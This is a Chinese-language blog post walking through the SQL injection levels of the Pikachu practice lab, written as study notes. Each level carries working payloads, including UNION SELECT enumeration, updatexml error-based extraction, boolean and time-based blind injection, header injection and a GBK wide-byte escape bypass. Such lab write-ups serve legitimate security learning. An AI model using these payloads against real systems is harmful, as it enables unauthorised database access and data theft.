pikachu通关记之sql注入

"""本人网安小白,此贴仅作为记录我个人测试的思路、总结以便后期复习;今后本着少就是多,慢就是快的方式一步一个脚印进行学习,把这个知识点学扎实了,再学另外一个知识点。费曼教授是不是曾经说过以教代学是最好的学习方式?有很多错点可圈可指,所以也请dalao指出不对的地方,所谓教他人的时候也是在稳固自身"""

未做严格排版,后面有时间了再来整理整理

Ps:靶机链接:https://blog.csdn.net/qq_35258210/article/details/112465795

目录

1、数字型注入(post)

2、字符型注入(get)

3、搜索型注入

4、xx注入

5、insert/update注入

5、delete注入

6、header注入

7、sql盲注

8、Time盲注

9、宽字节注入


1、数字型注入(post)

这里并不能直接输入,那抓包吧

因为我们知道了是数字型,那么payload: -1 or 1=1,先让其在库里找不到为false,or 1=1 永真,所以全部用户名出来了

使用order by查询列,查询3时显示没有,2时显示正常,那应该是2列了

这个时候在2的位置替换成要查询的数据就行了

2、字符型注入(get)

输入1,回显提示没有这个用户,输入单引号报错了

可以看到报错回显,我们输入的单引号被左右两个单引号包裹这

构造payload: ' order by 4 # 查询列数,报错提示没有4,3也没有,2没反应,那应该是2列了

payload: ' union select 1,database() #

3、搜索型注入

输入单引号时报错,我们输入的单引号前面有个百分号并且被左右两个单引号包裹

百分号(%):表示通配任意N个字符

Payload: ' # 显示全部了,但这不是我们想要的

Payload: ' order by 3 # 查询列,这关是3列

payload: ' union select version(),database(),user() # 查询当前数据库版本、当前库名、数据库用户名

拼接后:select * from user where id='%$id' union select 1,database(),user() #'

4、xx注入

输入单引号时报错,可以看到我们输入的单引号被左右单引号包裹并且最后还有个括号

Payload: ') order by 2 # 查询列,这次是2列

Payload: ') union select version(),database() #

拼接后:select * from user where id=('') union select version(),database() #')

5、insert/update注入

这里有两个必填项

这里报错了,我们用户名输入123并没有报错,说明123没问题,密码的单引号报错左右单引号包裹并且有括号,最后面还有个括号

(Insert username=($uname) and password=md5('$passwd') and sex='$sex' and phone= '$phone' and email='$email' and ass='$ass' )

因为是没有返回结果,所以这里我们自己构造个报错提示

payload: ') and updatexml(1,concat(0x7e,user(),0x7e),1))#

单引号和括号闭合password,or 要是前面的false就执行后面的语句,updatexml制作个报错,最后面构造一个括号闭合整条sql语句,再把后面的内容注释掉

5.2、在修改信息中注入

在随便一个框中加个单引号

这里报错最后面和最前面的单引号是mysql报错自带的,这个报错的引号看着有点奇怪,仔细分析了下,我们注入的点是在性别里sql中的 sex,之所以不是这样显示sex=''root',是因为sex= 正常的 这个sql报错是从第一个错开始截取的

payload: ' or updatexml(1,concat(0x7e,database(),0x7e),1) #

第一个单引号是闭合sex=' 最后记得注释掉后面的内容

===================

5、delete注入

在框里留言一条数据,打开bp开启拦截,点击删除留言

这关注入点在url id值里,当然我一开始是不知道还有这种姿势的,参考了一些资料,payload自己构造的,参考的是姿势,算是涨知识了,每一处与数据库有交互的地方都可能存在安全问题

在id的value值77后面构造个单引号,报错了,可以看到只有左右两个单引号包裹,这两个单引号是mysql报错自带的,说明value值是一个数字型

Payload: 77 and%20updatexml(1,concat(0x7e,database(),0x7e),1)%20%23

6、header注入

先登录正确的账号密码

登录进去后,bp开启拦截,刷新页面

把user-agent全部干掉,构造个单引号闭合user-agent原请求头最好的单引号,最后在我们构造的payload加个单引号闭合Accept的第一个单引号

payload:' and updatexml(1,concat(0x7e,database(),0x7e),1) and '

第一个单引号是为了闭合user-agent最前面那个单引号,最后面那个是为了闭合下面accept请求头的

7、sql盲注

输入什么都没反应

Payload: root' and 1=1 #

正常显示,and1=2时显示没有这个username,那么这表示我们构造的payload插入进去了

查询列,2的时候显示正常,3的时候显示没有username,那么可以判定存在2列

payload:root' and length(database())>7 #

判断库名字符长度是否大于7

显示没有username,说明不大于7

大于6时正常显示了,小于7大于6,那就是6了

接下来使用substr函数配合bp爆破库名

add要爆破的字符

导入字典

p的长度和其他的长度不一样,证明这里就是p是正确的,p

把这个1改为2,从第二个字符开始截取

第二个字符爆破出来了,以此类推,把库名长度为6的6个字符爆破出来就可以知道库名了,p+i

8、Time盲注

刚开始输入什么都没反应,后面构造了 sleep(5)

Payload: 三种都可以

root' and if(ascii(substr(database(),1,1)=112),sleep(5),null) #

root' and if((substr(database(),1,1)='p'),sleep(5),null) #

root' and if(substr(database(),1,1)='p',sleep(5),null) #

9、宽字节注入

这关宽字节注入,大概意思就是有些过滤不严谨的地方后端编码可能使用UTF8编码\'进行了单引号转义,有时候我们使用GBK编码绕过后端反斜杠转义

在输入框构造的payload好像不起作用,然后我想到用bp抓包试一下,后面试出来了

payload: %df'%20or%201=1%20%23

 

 

 

 

 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值